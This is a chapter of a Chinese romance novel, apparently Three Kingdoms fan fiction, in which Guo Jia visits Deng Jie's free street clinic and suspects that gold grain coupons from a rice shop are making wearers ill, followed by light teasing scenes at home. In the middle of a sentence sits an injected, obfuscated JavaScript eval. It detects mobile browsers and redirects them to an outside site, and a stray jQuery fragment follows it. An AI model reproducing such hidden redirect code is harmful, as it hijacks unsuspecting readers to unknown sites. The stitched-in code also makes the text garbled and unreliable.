郭嘉拎着布包穿行于市集,指尖沾了点酥饼的油渍,正寻思邓昭夫妇为何特意嘱咐他买这“鸣儿喜欢的饼”,可那孩子分明昨日才抱怨过酥饼油腻。
转过药材摊拐角,忽听一声清亮的“先生,这药需文火慢煎,忌荤腥三日。”嗓音熟悉,咬字却比平日更缓,似刻意压低了调子。
郭嘉驻足,循声望去,但见粗布麻衣的少女跪坐在草席上,前面摆一案几,手边分列着几袋草药,正在伏案记录。
阳光洒在她未施粉黛的侧脸,发髻随意绾起,粗粗插了根木簪,鬓角散落几缕发丝,与宅中华服金钗的精致模样判若两人。
若非那一声“先生”叫得熟悉,郭嘉一眼竟没辨出那是邓结。郭嘉探手进袖摸了摸尚且温热的饼,思忖那对夫妻到底是何用意,不由地勾起嘴角,杵那多看了会。
“这位郎君!”卖炭翁突然出声,“你要瞧病就上前,莫要挡着道儿!”
郭嘉没动,他正瞧着邓结指上沾了泥,随手在粗布衣摆上抹了抹,又去翻找新的麻布,动作利落,显是熟稔的很。
昨日只道她在家闲来翻土,现在想来宅子里那些医药物什原都是她的杰作。
卖炭翁见他不动,干脆一把拽过他袖子:“小娘子!这小郎君看半天了,许是不知娘子手段,且给瞧瞧!”
郭嘉冷不防被扯到草席前,险些没站稳。邓结抬头,四目相对。
她眨了眨眼,面露惊诧之色:“郭先生?”
郭嘉顺势倒下抚摸肚子,另一只手伸在案上露出腕骨:“哎呀,肚子疼。”
她盯着他红润的面色,表情也非病患严肃,反倒多一分戏谑,料想他定然是想逗自己,抿唇压住笑意,还是搭上他脉搏,“嗯……”她故作沉吟,“先生这是……”
“饿的。”郭嘉突然从袖中掏出布包,拆开递过去,“邓姑娘可要救命?”
蜂蜜焦香扑鼻而来,正是她最爱的酥饼。
她接过饼,欣然道:“先生竟也知这家饼好吃!”
毫无戒心地跟郭嘉讲笑,“昨日没吃够,我还跟阿嫂发牢骚呢。”
郭嘉笑吟吟看她咬了一口,才慢条斯理道:“路过饼摊,见人多……”
他瞒过邓昭夫妇的“刻意叮嘱”,自来熟地转坐到她身侧,还顺手帮她理了理案上散落的艾绒。
她一边细嚼着一边阻拦郭嘉:“先生不必……”
“我坐着歇歇。”他截住邓结的话,“姑娘继续悬壶济世便是。”
邓结张了张嘴,最终没赶他。
“小娘子,今日又来出摊啦?”油滑的嗓音突然插进来。
一个醉醺醺的无赖似是没看到旁边的郭嘉,“咚”的一声栽倒在席前,伸手就要摸邓结的腕子,“也给哥哥瞧瞧……哎哟!”
寒光一闪,三寸银针已扎在他虎口。
邓结连正眼都没给:“莫要惹事!”
无赖嗷嗷叫着跳开,看见正要起身的郭嘉,骂骂咧咧地离开。
郭嘉原是要拦,见状又缓缓坐了回去。
“常遇到?”他低声问。
邓结收起银针,语气平淡:“阿兄在家时会来护我。”
顿了顿,“不在时,扎两次他们也怕了。”
语气中还带着点自豪,可郭嘉听了却有些不由地紧了紧拳。
“往日阿兄回家多少会来我这看看,今日怎的……”邓结说着瞧了瞧自己手里的饼,又将目光移向郭嘉。
郭嘉被这眼神定住了自己往她那边挪的动作,“郭先生原是受人所托?”
郭嘉倒是头回被人拆穿显得有些局促,皱眉支吾着:“是……吗?”
邓结嘻嘻笑出声来,嗔道:“阿兄竟也会偷懒,客人头回到家倒支使起来了,回去可得说说他!”
郭嘉似是被这明眸善睐的笑眼刺了一针般愣住神,比昨日那般酥麻感更甚,竟从心底蔓延至手指和脸颊,他不由得撇开自己的脸躲闪她的眼神,“是……吧……”
邓结刚送走一位腹痛的老妇,记好医案,放下笔和竹片,开始低头整理银针。
今日义诊的病人大多症状相似:恶心、呕吐、腹痛,甚至有人眼白泛黄,却找不出病因,心里难免有些烦闷。
她叹了口气,抬头望向天边渐沉的暮色,心想再这样下去,莫说治病了,连自己备的药怕是不够用了。
“邓姑娘平时都这么忙的吗?”郭嘉见她面露难色,就想着找点话题转移心情,“而且……也不收钱?”
邓结收拢针囊,不好意思地看向郭嘉:“我学医本是为了阿嫂的先天病,她替我安排去各处医馆学过些皮毛,但总归不够。
义诊也是想多攒些经验,其实每月也就四次,初一、初十、十五、二十。”
郭嘉看着她认真掰手指的样子,顿觉着这姑娘仔细里还透着些单纯,轻笑道:“所以才穿成这样?”
他指了指她粗布麻衣的打扮,“若是华服金钗往这一坐,怕是没几个穷苦人敢靠近。”
不知怎的,郭嘉会想起自己幼时看着父母染疾没钱医治只能将自己锁在里屋的事。
若是当时阳翟也有这般义诊的医师……随即他摇头甩开这样的思绪。
邓结搓了搓自己的袖口:“也不全是,其实这样的衣服干活方便些,是我自己喜欢……”
正说着,一阵浓郁的花香飘近,邓结抬头,见一位身着茜色纱裙的风尘女子款款而来,颈间金坠晃动,闪着刺目的光。
“小医娘,我又来啦。”
女子嗓音慵懒,熟练地提裙坐下,“上回给的药,吃了倒是有缓些头晕,可胃口不见好转,而且这疹子……”
她扯开衣领,露出锁骨下一片红痕。
郭嘉没等邓结开口便出声:“似姑娘这般也缺钱看病?”
女子白他一眼:“又不是钱的问题。难得城里有医娘,好说话些。”
她凑近邓结,压低声音笑道,“更难得今日小医娘竟还带着情郎坐诊。”
邓结耳根一热,矢口否认:“姐姐莫胡说,这位是家兄的友人。”
她检查女子腕间和颈间的红疹,眉头越皱越紧,“还恶心吗?疹子竟比上次更严重了……”
郭嘉的目光却被女子颈间那枚金坠吸引,约摸四寸大小,横向的小券设计,刻有饕餮似的张扬纹样。
“这坠子倒是别致,不像是一般姑娘家戴的样式。”他忽然伸手,指尖轻勾金链。
女子一愣,随即笑得花枝乱颤:“哟,这情郎当着姑娘的面都这么没规矩?”
郭嘉这才反应过来,连忙收手作揖:“失礼了,嘉只是好奇此物。”
女子倒不恼,反而解下金坠递给他:“喏,仔细瞧瞧?这叫‘黄金券’,吴氏米肆发的,一券能兑三斛粟呢。”
郭嘉接过坠子,注意到女子被金链压住的皮肤下也有细小红疹。
他轻轻摩挲黄金券,翻过面来看,赫然刻着“吴氏米肆”四字。
“姑娘这疹子……可是戴了此物后才起的?”郭嘉盯着她细疹的地方与黄金券比对着。
女子无所谓地移开目光:“谁知道呢,身上早痒得不成样了,就是隔三差五换个原因也整不清是什么病。”
邓结愧疚道:“是我医术不精……”
“小医娘说哪儿的话?”
女子拍拍她的手,“能有你这样的医娘给咱们瞧病,已是福气了。
去别的医馆求个方子还得一边被动手动脚,一边挨白眼。”
她系回金坠,冲郭嘉眨眨眼,“郎君若喜欢这坠子,去吴氏米肆换便是,如今满城都是这玩意儿。”
郭嘉笑笑,手却绕过邓结身后抽了一小块麻布将刚才从黄金券上偷偷抠下的击碎粉块包裹压实。
待女子走后,邓结叹了口气:“这黄金券在皖城流行三个多月了,是吴氏米肆推出说购券换粮的一个凭证。
起初无人信,后来见真能换粮,又是金,便都抢着要。
普通百姓哪见过这么亮闪闪的东西啊,都当稀罕物留着,不少人也似刚才姑娘那般佩身上作饰物,竟也成了皖城的风尚了。”
郭嘉若有所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242544|181920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
思:“哦?竟有这等事,姑娘怎的不信么?”
邓结给他仔细拆解这黄金券的起因,原是董卓改发的五铢钱靠不住,这两年粮价疯涨。
刚出券时开价两千五百钱,可那会一斛粟就已经一千钱,说买了这券,次日便可去他家米肆兑三斛粟,大家自然都争着要了。
但哪家商人会平白做亏本生意呢?
邓结说着不解地摇摇头,“都说它是金,我看它比阿兄给我的钗子硬,自然不信,但也说不好是什么,就算是铜什么的,闪闪的叫人看着开心总是真的。
陆府君只说能稳定粮价、增加税收也不是坏事,阿嫂他们也没觉得不好,肆坊也得跟着做生意。我可不懂那么许多。先生对这个很感兴趣?”
郭嘉掸了掸袖口,淡然道:“同姑娘一样,不懂那么许多。”
他望向街角处吴氏米肆的旗帜在风中招摇,眸色微沉,却终究没再多言。
翌日一早,晨光正好,郭嘉正倚在廊下看书简,忽觉脚下被毛茸茸的尾巴扫过,那只橘猫又来了,金瞳半眯,尾巴尖勾着他的衣摆,俨然一副熟客模样。
他卷起书简故意迈步沿着回廊走。身后窸窣轻响,猫儿果然亦步亦趋地跟上。
再走几步,经过主楼时,廊柱后传来一声极轻的“咦”。
郭嘉唇角微勾,也不回头,一路走到自己的房间门前,猛然回身,邓结僵在原地,指尖还保持着想摸猫的姿势,可猫却跳开身形,溜进郭嘉房间。
见他突然转身,她慌忙把手背到身后,耳尖瞬间红透。
“邓姑娘也想跟它玩?”他笑意懒散,侧身让开门口,“进来吧,我不关门。”将书简往书案一搁:“你玩你的,我坐这看书简。”
邓结犹豫一瞬,橘猫却已经大摇大摆跳上矮榻,尾巴尖得意地晃了晃,仿佛在招揽她来玩。
她终于迈步进去,蹲下身,指尖轻轻挠了挠猫下巴。橘猫眯起眼,喉咙里发出满足的呼噜声。
“它今日没躲你。”郭嘉搁置那书简看着邓结满足的样子笑道。
“还是托先生的福。”邓结虽然这么说着,可心里乐开花,难得这小家伙让自己如此亲昵。
门外突然传来邓昭的大嗓门:“奉孝——阿结?你怎么……”
话音未落,邓结猛地直起身,膝盖“咚”地撞上矮榻,她吃痛地“嗷”了一声,橘猫受惊,“嗖”地一下窜出房门,眨眼间消失不见。
邓昭站在门口,视线在两人之间转了一圈,嘴角勾起耐人寻味的角度:“关系都好到串门的地步了?”
“不是!是猫!”邓结耳根通红,手忙脚乱地比划,“它自己跑进来的!”
“哦——”邓昭拖长音调,意味深长地看向郭嘉。
郭嘉一脸无辜,躲闪眼神:“元明兄误会……”
邓结羞恼,闷着口气就往外冲,差点撞上门框,邓昭下意识地扶了她一下,却让邓结更慌乱,夺门而逃。
邓昭大笑,拍了拍郭嘉的肩:“行啊你,这才没两天,我妹妹都能被你逗得跳脚了。”
郭嘉低头举书简挡着自己的脸,藏住嘴角笑意:“元明兄真误会……”
午后,邓昭从外拎了坛酒进门,踏上凉亭张望没见到郭嘉,倒是看见妹妹正坐主楼二层晒着太阳捣药,便冲她大喊:“阿结,去喊奉孝来喝酒!我寻了坛佳酿,他肯定喜欢!”
邓结闻声,往正倚在东侧回廊上看简的郭嘉瞧了瞧,见郭嘉也已经抬头,她便冲邓昭大喊:“奉孝先生听见啦!”喊完她一愣神,之前都是唤“郭先生”的,怎的随阿兄喊成“奉孝先生了”。
却看郭嘉转头看她,卷起竹简,笑吟吟地往她这走,“什么?嘉没听到。姑娘说什么?”
邓结一噎,“阿兄喊你下楼喝酒呢。”
郭嘉走近她身边,轻声道:“刚才好似不是这么说的。谁听见了?”
“……奉孝先生听见了……吧?”邓结红着脸避开他目光。
郭嘉拿竹简轻点她桌案,心满意足地擦过她的肩,“奉孝先生听见啦!”